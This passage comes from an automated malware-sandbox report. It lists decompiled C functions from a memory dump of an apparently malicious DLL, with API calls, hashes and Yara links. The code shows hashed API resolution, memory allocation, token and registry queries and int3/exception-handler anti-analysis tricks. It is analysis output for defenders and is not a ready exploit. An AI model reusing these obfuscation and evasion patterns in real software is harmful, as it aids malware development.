API ID: InformationToken$InfoSystem
String ID:
API String ID: 298373132-0
Opcode ID: 61f4c57bfcf8eb32d1e3aa1d4eadc88d5e93f1cd1c49747f476468727df462fe
Instruction ID: bd537a21adfca58fdc75ce6bccf41cd200acf03b43068ba13ba7227a4a0dc926
Opcode Fuzzy Hash: 61f4c57bfcf8eb32d1e3aa1d4eadc88d5e93f1cd1c49747f476468727df462fe
Instruction Fuzzy Hash: 2122F67060E341AEEB21CB25C840BAF77A5AF8171CFB1891DE599AF291EF30D845C752

Uniqueness

Uniqueness Score: -1.00%

Function 6DE9218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6DE9218C(void* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr* _t5;
				intOrPtr _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t11 = __edx;
				if(__ecx == 0) {
					 *_t15 = 0;
					_v4 = 0;
				} else {
					 *_t15 = E6DE93A34(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v20 = _t11;
				}
				_t5 = E6DE92F94(0xa5eabdf8, 0xd48281c0, 0xa5eabdf8, 0xa5eabdf8);
				_t13 = _t5;
				if(_t13 != 0) {
					_t5 =  *_t13(0, _t15); // executed
				}
				return _t5;
			}

0x6de9218c
0x6de92190
0x6de921ac
0x6de921af
0x6de92192
0x6de921a1
0x6de921a4
0x6de921a4
0x6de921bf
0x6de921c4
0x6de921c8
0x6de921d0
0x6de921d0
0x6de921d4

APIs

NtDelayExecution.NTDLL(00000000,00000000,A5EABDF8,A5EABDF8,FFFFFFFF,FFFFFFFF,6DE835C3,00000000,00000000,?), ref: 6DE921D0

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction ID: ae47fd4c1e3165c6f527aaeec2ef1a88466dc021900d7afab8afb58ad431ec4c
Opcode Fuzzy Hash: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction Fuzzy Hash: AAE09BB010F301AEFF5497294C00B3B7AD99F90215F70851DB594EA2C4EE30D4114722

Uniqueness

Uniqueness Score: -1.00%

Function 6DE92790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DE92790(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
				long _v4;
				void* _t8;
				long _t10;
				PVOID* _t19;

				_v4 = __edx;
				 *_t19 = __ecx;
				if(E6DE92F94(0xa5eabdf8, 0xc15ccc53, 0xa5eabdf8, 0xa5eabdf8) == 0) {
					L3:
					_t8 =  *_t19;
				} else {
					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
					if(_t10 == 0) {
						goto L3;
					} else {
						_t8 = 0;
					}
				}
				return _t8;
			}

0x6de92797
0x6de927a0
0x6de927ae
0x6de927d1
0x6de927d1
0x6de927b0
0x6de927c7
0x6de927cb
0x00000000
0x6de927cd
0x6de927cd
0x6de927cd
0x6de927cb
0x6de927d6

APIs

NtAllocateVirtualMemory.NTDLL(A5EABDF8,?,00000000,22DC1034,00000004,00000004,A5EABDF8,A5EABDF8,?,?,6DE98852,00003000,00000004,000000FF,A5EABDF8,22DC1034), ref: 6DE927C7

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction ID: 24d34036537551100c418c07573f8858aebcc5ddda41740e604bd05ff4e84c4d
Opcode Fuzzy Hash: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction Fuzzy Hash: ABE0307120E342AFEF19CA24CC14E7BB7E9EF98204F608C1DB4A4EA550DB70D8449722

Uniqueness

Uniqueness Score: -1.00%

Function 6DE93060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6DE93060(intOrPtr* __ecx) {
				void* _t1;

				_push(E6DE933D8);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6de93060
0x6de93065
0x6de93067
0x6de93069

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6DE933D8,6DE93050,A5EABDF8,A5EABDF8,?,6DE82530,00000001), ref: 6DE93067

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: a2d3759833b17e89e9d81cd54975c6c12c004edad5f37f552117942a6ac926dc
Instruction ID: 36a600e7d98cac26add5b1495dff50e1157e4650671efb0ab0e7edf3586f9728
Opcode Fuzzy Hash: a2d3759833b17e89e9d81cd54975c6c12c004edad5f37f552117942a6ac926dc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DE95DF0(void* __ecx, void* __eflags, void* _a4, char _a8) {
				long _v12;
				void* __esi;
				long _t9;
				long _t10;
				int _t12;
				void* _t18;
				void** _t19;
				DWORD* _t20;

				_t18 = __ecx;
				_t19 = __ecx + 0xc;
				if(E6DE8C33C(_t19) == 0) {
					_t2 =  &_a8; // 0x6de95ce5
					_v12 =  *_t2;
					if(E6DE92F8C(0x4bcc7cba, 0x2876e068) == 0) {
						_t9 = 0x7f;
					} else {
						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
						if(_t12 == 0) {
							_t9 = E6DE9352C(_t18);
						} else {
							_t9 = 0;
						}
					}
					 *((intOrPtr*)(_t18 + 8)) = _t9;
					if(_t9 == 0) {
						_t10 = _v12;
					} else {
						_t10 = 0;
						_v12 = 0;
					}
				} else {
					_t10 = 0;
				}
				return _t10;
			}

0x6de95df3
0x6de95df5
0x6de95e01
0x6de95e07
0x6de95e0b
0x6de95e21
0x6de95e40
0x6de95e23
0x6de95e34
0x6de95e38
0x6de95e58
0x6de95e3a
0x6de95e3a
0x6de95e3a
0x6de95e38
0x6de95e41
0x6de95e46
0x6de95e4f
0x6de95e48
0x6de95e48
0x6de95e4a
0x6de95e4a
0x6de95e03
0x6de95e03
0x6de95e03
0x6de95e55

APIs

ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,4BCC7CBA,2876E068,?,?,?,6DE95CE5,00000000,?,00000000,?), ref: 6DE95E34

Strings

\m, xrefs: 6DE95E07

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileRead
String ID: \m
API String ID: 2738559852-2418987231
Opcode ID: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction ID: 0d178ae5c01a02504ee99a928138737c1cb7ff0b0be6eb0b14525632007dc199
Opcode Fuzzy Hash: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction Fuzzy Hash: 4CF0813125E207AEDB11DE288C40ABF77D5BB45255F31882DE8AAEA240EF32D4058621

Uniqueness

Uniqueness Score: -1.00%

Function 6DE91140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6DE91140(void* __ecx, void* __edi, void* __esi) {
				long _v12;
				void* _v20;
				void* _v24;
				char _v32;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v64;
				int _t31;
				void* _t33;
				long* _t39;
				intOrPtr* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				long* _t59;

				_t59 = _t58 - 0x20;
				_t56 = __ecx;
				_v12 = 0;
				_t46 = E6DE92F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t46 != 0) {
					 *_t46(_t56, 8,  &_v12);
				}
				_t39 = _t59;
				 *_t39 = _v12;
				_t39[1] = 1;
				if(E6DE8C33C(_t39) != 0) {
					L6:
					if(_t59[1] != 0) {
						E6DE8BC00(_t59);
					}
					return 0;
				} else {
					_t59[6] = 0;
					if(E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) != 0) {
						GetTokenInformation(_v40, 0x19, 0, 0,  &(_t59[6])); // executed
					}
					_t24 = _t59[6];
					if(_t59[6] != 0) {
						E6DE8F620( &_v32, _t24);
						_t54 = E6DE8F558( &(_t59[3]), 0);
						if(E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
							L14:
							E6DE8F6F0( &_v32);
							goto L6;
						} else {
							_t31 = GetTokenInformation(_v40, 0x19, _t54, _t59[7],  &(_t59[6])); // executed
							if(_t31 == 0) {
								goto L14;
							} else {
								_t33 = E6DE92F94(0xd0443458, 0x57bf3274, 0xd0443458, 0xd0443458);
								if(_t33 == 0) {
									goto L14;
								} else {
									_push( *_t54);
									asm("int3");
									return _t33;
								}
							}
						}
					} else {
						goto L6;
					}
				}
			}

0x6de91142
0x6de9114f
0x6de91151
0x6de91160
0x6de91164
0x6de9116e
0x6de9116e
0x6de91174
0x6de91177
0x6de91179
0x6de91184
0x6de911be
0x6de911c3
0x6de911c8
0x6de911c8
0x6de911d4
0x6de91186
0x6de91190
0x6de911a3
0x6de911b4
0x6de911b4
0x6de911b6
0x6de911bc
0x6de911da
0x6de911ea
0x6de91201
0x6de912e3
0x6de912e7
0x00000000
0x6de91207
0x6de91217
0x6de9121b
0x00000000
0x6de91221
0x6de9122d
0x6de91234
0x00000000
0x6de9123a
0x6de9123a
0x6de9123c
0x6de9123d
0x6de9123d
0x6de91234
0x6de9121b
0x00000000
0x00000000
0x00000000
0x6de911bc

APIs

GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 6DE911B4
GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 6DE91217

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 7233e0464975bed0b387e02181c5ba269ca55134ac212cebc4faec61c86edccf
Instruction ID: 8071f1cceb4b2e5383af8c0b6198d6b69af27ca83da30d7d49ab9c784e433244
Opcode Fuzzy Hash: 7233e0464975bed0b387e02181c5ba269ca55134ac212cebc4faec61c86edccf
Instruction Fuzzy Hash: C1217E706092067EFB05DAA9CC04FAB76ED9FD5608F31C82CB554EA295EF74C80AC761

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6DE95720(void* __ecx, char* _a4, intOrPtr _a8) {
				int _v16;
				int _v20;
				intOrPtr _t11;
				int* _t12;
				int _t13;
				void* _t23;
				char* _t35;
				int* _t38;

				_push(_t34);
				_t23 = __ecx;
				_t11 =  *((intOrPtr*)(__ecx + 4));
				if(_t11 == 0 || _t11 == 0xffffffff) {
					_t12 = 1;
				} else {
					_t12 = 0;
				}
				if(_t12 != 0) {
					L10:
					_t13 = 0;
				} else {
					_t35 = _a4;
					if(_t35 == 0 ||  *_t35 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(E6DE92F8C(0xd0443458, 0x91134e46) != 0) {
							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
						}
						_t15 = _v16;
						if(_v16 != 0) {
							E6DE8F8C4(_a8, _t15);
							if(E6DE92F8C(0xd0443458, 0x91134e46) != 0) {
								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E6DE8F558(_a8, 0),  &_v20); // executed
							}
							_t13 = _v20;
						} else {
							goto L10;
						}
					} else {
						goto L10;
					}
				}
				return _t13;
			}

0x6de95724
0x6de95725
0x6de95727
0x6de9572c
0x6de95733
0x6de95737
0x6de95737
0x6de95737
0x6de9573b
0x6de95781
0x6de95781
0x6de9573d
0x6de9573d
0x6de95743
0x6de9574c
0x6de9574f
0x6de95766
0x6de95777
0x6de95777
0x6de95779
0x6de9577f
0x6de9578a
0x6de957a2
0x6de957c2
0x6de957c2
0x6de957c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6de95743
0x6de957cc

APIs

RegQueryValueExA.KERNELBASE(?,6DE9D1F8,00000000,?,00000000,00000000,?,?,?,6DE9D1F8,?,6DE957F3,?,00000000,00000000), ref: 6DE95777
RegQueryValueExA.KERNELBASE(?,6DE9D1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,6DE9D1F8,?,6DE957F3,?,00000000), ref: 6DE957C2

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 7d0dcf7e8ff1ed4daad01622fcf704d64fcd41feb03c036122353a5e5619fea0
Instruction ID: 2283e7d307ffa5abb436a89b8f79eccdeab125abc3a3d8164240681f664eee60
Opcode Fuzzy Hash: 7d0dcf7e8ff1ed4daad01622fcf704d64fcd41feb03c036122353a5e5619fea0
Instruction Fuzzy Hash: 7E11B17120E306FFEB119E25DC80EBBB7ECEF81659F20441DF598AB240DE20E9009671

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6DE95AA8(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
				char _v24;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t24;
				void* _t29;
				long _t37;
				void* _t38;
				long _t39;
				WCHAR** _t40;
				intOrPtr* _t56;
				WCHAR** _t58;
				char* _t64;
				void* _t65;
				long _t66;

				_push(0);
				_push(_t62);
				_t66 = _t65 - 0x10;
				_t58 = __ecx;
				_t37 = _a8;
				if(E6DE8D288(__ecx, 0x2f) != 0) {
					_t62 = _t66;
					E6DE8D78C(__ecx, _t66);
					E6DE8D0B4(_t58,  *_t66);
					E6DE8D098(_t66);
				}
				if(_t37 == 0) {
					_t70 = _a4 - 1;
					if(_a4 != 1) {
						__eflags = _a4 - 4;
						_t37 = (0 | _a4 == 0x00000004) + 2;
						__eflags = _t37;
					} else {
						_t37 = 1;
					}
				}
				E6DE9621C(_t70);
				if(_a4 <= 5) {
					goto __eax;
				}
				_t62 = 0;
				if(_t37 != 2) {
					_t16 = 3;
					__eflags = _t37 - 1;
					_t38 = 0;
					_t39 =  ==  ? _t16 : _t38;
				} else {
					_t39 = 1;
				}
				if(E6DE92F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t29 = CreateFileW( *_t58, 0, _t39, 0, _t62, _a12, 0); // executed
					_push(_t29);
				}
				_t40 =  &(_t58[3]);
				E6DE8C328(_t40);
				if(E6DE8C33C(_t40) != 0) {
					_t58[2] = E6DE9352C(0);
					_t21 = 0;
					goto L19;
				} else {
					if(_a4 == 2) {
						_t56 = E6DE92F8C(0x4bcc7cba, 0xceed09cc);
						__eflags = _t56;
						if(_t56 != 0) {
							 *_t56( *_t40, 0, 0, 2);
						}
					}
					_t64 =  &_v24;
					E6DE935D4(_t64, 0xff, 8);
					_t66 = _t66 + 0xc;
					_t24 = E6DE92F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t24 == 0) {
						_t21 = 1;
						__eflags = 1;
						L19:
						return _t21;
					} else {
						_push(_t64);
						_push(_t64);
						_push(0);
						_push( *_t40);
						asm("int3");
						return _t24;
					}
				}
			}

0x6de95aa8
0x6de95aab
0x6de95aac
0x6de95aaf
0x6de95ab1
0x6de95abe
0x6de95ac2
0x6de95ac6
0x6de95ad0
0x6de95ad7
0x6de95ad7
0x6de95ade
0x6de95ae0
0x6de95ae5
0x6de95aee
0x6de95af6
0x6de95af6
0x6de95ae7
0x6de95ae9
0x6de95ae9
0x6de95ae5
0x6de95afb
0x6de95b07
0x6de95b1d
0x6de95b1d
0x6de95c38
0x6de95b75
0x6de95b7e
0x6de95b7f
0x6de95b84
0x6de95b85
0x6de95b77
0x6de95b79
0x6de95b79
0x6de95b9b
0x6de95baf
0x6de95b9d
0x6de95baa
0x6de95bac
0x6de95bac
0x6de95bb1
0x6de95bb6
0x6de95bc4
0x6de95c2f
0x6de95c32
0x00000000
0x6de95bc6
0x6de95bcb
0x6de95c18
0x6de95c1a
0x6de95c1c
0x6de95c26
0x6de95c26
0x6de95c1c
0x6de95bcd
0x6de95bd9
0x6de95bde
0x6de95beb
0x6de95bf2
0x6de95bfe
0x6de95bfe
0x6de95bff
0x6de95c06
0x6de95bf4
0x6de95bf4
0x6de95bf5
0x6de95bf6
0x6de95bf8
0x6de95bfa
0x6de95bfb
0x6de95bfb
0x6de95bf2

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0acbc9089787822959bc5658e7f92eded50a20f7ab6d81dbb85be80ee5fe59ee
Instruction ID: c4f39aa3868e99c436e09bf11c3ea67ffdf5d77671d028a646fcc7365775bb5d
Opcode Fuzzy Hash: 0acbc9089787822959bc5658e7f92eded50a20f7ab6d81dbb85be80ee5fe59ee
Instruction Fuzzy Hash: 9A313B7438A306BEE71027758C80F3F76D9EBC120EF31492DFA45AE181EF5188058225

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E6DE95B51(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t32;
				WCHAR** _t33;
				long _t37;
				void* _t39;
				void* _t40;

				_t33 = __edi;
				if(__edx != 0) {
					_t37 = 3;
					if(_t21 != 2) {
						_t7 = 3;
						_t22 = 0;
						_t23 =  ==  ? _t7 : _t22;
					} else {
						_t23 = 1;
					}
					if(E6DE92F8C(0x4bcc7cba, 0x80c50a91) == 0) {
						_push(0);
					} else {
						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
						_push(_t20);
					}
					_t24 =  &(_t33[3]);
					E6DE8C328(_t24);
					if(E6DE8C33C(_t24) != 0) {
						_t33[2] = E6DE9352C(0x80000000);
						_t12 = 0;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
							_t32 = E6DE92F8C(0x4bcc7cba, 0xceed09cc);
							if(_t32 != 0) {
								 *_t32( *_t24, 0, 0, 2);
							}
						}
						_t39 = _t40 + 8;
						E6DE935D4(_t39, 0xff, 8);
						_t40 = _t40 + 0xc;
						_t15 = E6DE92F8C(0x4bcc7cba, 0xaaa9bb);
						if(_t15 == 0) {
							_t12 = 1;
							goto L14;
						} else {
							_push(_t39);
							_push(_t39);
							_push(0);
							_push( *_t24);
							asm("int3");
							return _t15;
						}
					}
				} else {
					__edi[2] = 2;
					_t12 = 0;
					L14:
					return _t12;
				}
			}

0x6de95b51
0x6de95b53
0x6de95b6a
0x6de95b75
0x6de95b7e
0x6de95b84
0x6de95b85
0x6de95b77
0x6de95b79
0x6de95b79
0x6de95b9b
0x6de95baf
0x6de95b9d
0x6de95baa
0x6de95bac
0x6de95bac
0x6de95bb1
0x6de95bb6
0x6de95bc4
0x6de95c2f
0x6de95c32
0x00000000
0x6de95bc6
0x6de95bcb
0x6de95c18
0x6de95c1c
0x6de95c26
0x6de95c26
0x6de95c1c
0x6de95bcd
0x6de95bd9
0x6de95bde
0x6de95beb
0x6de95bf2
0x6de95bfe
0x00000000
0x6de95bf4
0x6de95bf4
0x6de95bf5
0x6de95bf6
0x6de95bf8
0x6de95bfa
0x6de95bfb
0x6de95bfb
0x6de95bf2
0x6de95b55
0x6de95b55
0x6de95b5c
0x6de95bff
0x6de95c06
0x6de95c06

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6DE95BAA

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction ID: d52af2111a06d6b0b26829671615b26a519d2bb207617a396115301e914c7418
Opcode Fuzzy Hash: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction Fuzzy Hash: 81016DB138A307BAEB1116208C81F7B7759EB8335EF30886DFA517E181EF1254158171

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6DE95B29(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t31;
				intOrPtr* _t33;
				WCHAR** _t34;
				void* _t38;
				long _t39;
				void* _t41;
				void* _t42;

				_t34 = __edi;
				_t31 = 5;
				_t38 = 2;
				_t39 =  !=  ? _t31 : _t38;
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E6DE92F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E6DE8C328(_t24);
				if(E6DE8C33C(_t24) != 0) {
					_t34[2] = E6DE9352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
						_t33 = E6DE92F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t41 = _t42 + 8;
					E6DE935D4(_t41, 0xff, 8);
					_t42 = _t42 + 0xc;
					_t15 = E6DE92F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t41);
						_push(_t41);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x6de95b29
0x6de95b2d
0x6de95b30
0x6de95b33
0x6de95b75
0x6de95b7e
0x6de95b84
0x6de95b85
0x6de95b77
0x6de95b79
0x6de95b79
0x6de95b9b
0x6de95baf
0x6de95b9d
0x6de95baa
0x6de95bac
0x6de95bac
0x6de95bb1
0x6de95bb6
0x6de95bc4
0x6de95c2f
0x6de95c32
0x00000000
0x6de95bc6
0x6de95bcb
0x6de95c18
0x6de95c1c
0x6de95c26
0x6de95c26
0x6de95c1c
0x6de95bcd
0x6de95bd9
0x6de95bde
0x6de95beb
0x6de95bf2
0x6de95bfe
0x6de95bff
0x6de95c06
0x6de95bf4
0x6de95bf4
0x6de95bf5
0x6de95bf6
0x6de95bf8
0x6de95bfa
0x6de95bfb
0x6de95bfb
0x6de95bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6DE95BAA

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction ID: 29105e52c9662f7fe657bd33f6be44ab84175ed90a591bc63e7d351589392f79
Opcode Fuzzy Hash: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction Fuzzy Hash: 0601A760386307BAEB2116108C41F7B7699EFD375EF318869FA557E185EF5198058121

Uniqueness

Uniqueness Score: -1.00%

Function 6DE95B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6DE95B3D(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t33;
				WCHAR** _t34;
				long _t38;
				void* _t40;
				void* _t41;

				_t34 = __edi;
				_t38 = 2;
				asm("adc ebp, 0x0");
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E6DE92F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E6DE8C328(_t24);
				if(E6DE8C33C(_t24) != 0) {
					_t34[2] = E6DE9352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
						_t33 = E6DE92F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t40 = _t41 + 8;
					E6DE935D4(_t40, 0xff, 8);
					_t41 = _t41 + 0xc;
					_t15 = E6DE92F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t40);
						_push(_t40);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x6de95b3d
0x6de95b44
0x6de95b47
0x6de95b75
0x6de95b7e
0x6de95b84
0x6de95b85
0x6de95b77
0x6de95b79
0x6de95b79
0x6de95b9b
0x6de95baf
